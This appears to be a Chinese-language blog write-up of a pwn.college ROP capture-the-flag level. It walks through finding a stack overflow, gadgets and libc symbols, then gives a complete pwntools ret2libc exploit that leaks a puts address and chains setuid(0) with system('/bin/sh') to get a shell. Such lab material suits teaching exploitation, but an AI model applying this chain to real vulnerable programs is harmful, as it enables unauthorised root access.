level-4

题目简介

需要我们构造ROP链来执行获取shell的代码段,进而拿到flag

漏洞点分析

首先还是checksec看到只开了NX,既然如此shellcode执行不了

接着拖到IDA里面发现并没有可以用的后门函数,因此只能采用ROP

然后找溢出点,发现在challenge函数


再通过ROPgadget工具,看看程序本身有没有可用的碎片:

1
ROPgadget --binary /challenge/babyrop_level4.0 >gadgets.txt

在输出文件里找了一番,没发现system、binsh等可用的组件,只找到了勉强可以用来传参的pop rdi指令

那只能在libc里找一下看有没有system之类的函数:

首先确定程序链接的libc版本

1
ldd /challenge/babyrop_level4.0

可以看到是/lib/x86_64-linux-gnu/libc.so.6


然后找相应的可用函数

1
2
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh


如上图,这两条命令的输出都表示找到了我们想要的函数及其参数

因此漏洞点利用思路就比较清晰了,需要寻找libc中函数的地址(通过泄露Libc基址来实现),然后溢出返回地址到libc中

漏洞点利用

这道题目中需要返回到Libc中,因此首先需要知道libc的基地址,因此需要泄露一个libc中函数的真实地址来计算基地址

综上,构造一个两阶段的利用脚本,第一次泄露puts函数真实地址,并重新执行程序,第二次再发送真正的利用payload,拿到shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
targetELF="/challenge/babyrop_level4.0"
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
offset=56
context(os='linux', arch='x86_64',log_level='debug', terminal=['tmux', 'splitw', '-h'])


p = process(targetELF)
# p=gdb.debug(targetELF,"b *challenge")
elf=ELF(targetELF)
libc = ELF(libc_path)
rop = ROP(elf)

pop_rdiAddr=0x402204 #pop rdi ret的地址
ret =0x40101a #rop.find_gadget(['ret'])[0]
gotAddr=elf.got["puts"]
pltAddr=elf.plt["puts"]
startAddr=elf.symbols["_start"]

addrLeakPayload = b'a'*offset + p64(pop_rdiAddr) + p64(gotAddr) + p64(pltAddr) + p64(startAddr)

# open("PayLoad","wb").write(addrLeakPayload)

p.recv()
p.send(addrLeakPayload)
p.recvuntil("Leaving!\n")
realAddr=u64(p.recv(6).ljust(8,b'\x00'))

libcBase=realAddr-0x84420
sysAddr = libcBase + libc.symbols['system'] #system函数地址
setuidAddr = libcBase + libc.symbols['setuid']
binshAddr = libcBase + next(libc.search("/bin/sh")) # /bin/sh字符串地址

log.info(hex(sysAddr))
log.info(hex(binshAddr))

shellPayload= b'1' * offset + p64(pop_rdiAddr) + p64(0) + p64(setuidAddr) + p64(ret) + p64(pop_rdiAddr) + p64(binshAddr) + p64(ret) + p64(sysAddr)

p.recv()
p.send(shellPayload)
p.recv()

p.interactive()

大概解释一下脚本里的一些语句是什么意思(更详细的还得看pwntools的手册)

首先,主要的就是ELF类,通过传递一个ELF文件的路径,可以打开该文件,然后获得一个ELF对象(第10、11行分别拿到目标程序和libc.so的ELF对象)

通过该elf对象可以获取ELF文件中函数的plt表、got表(脚本中的gotAddr和pltAddr),以及函数符号表,即函数地址(如第18行获取_start函数的地址)

第一阶段,需要通过一个输出函数(如puts、printf)泄露got表地址,然后再回到程序的开始(即startAddr),所以第一阶段的payload(即addrLeakPayLoad)=b’a’*offset + p64(pop_rdiAddr) + p64(gotAddr) + p64(pltAddr) + p64(startAddr)

泄露地址后通过减去puts函数的偏移得到libc基地址,即第29行(偏移可以通过readelf或者pwn库获得),最后,构造的shellPayload(第37行)才为真正getshell的payload


level-4
http://0x4a-210.github.io/2025/07/20/pwn.college/Program-Securtity/ROP/level-4/
Posted on
July 20, 2025
Licensed under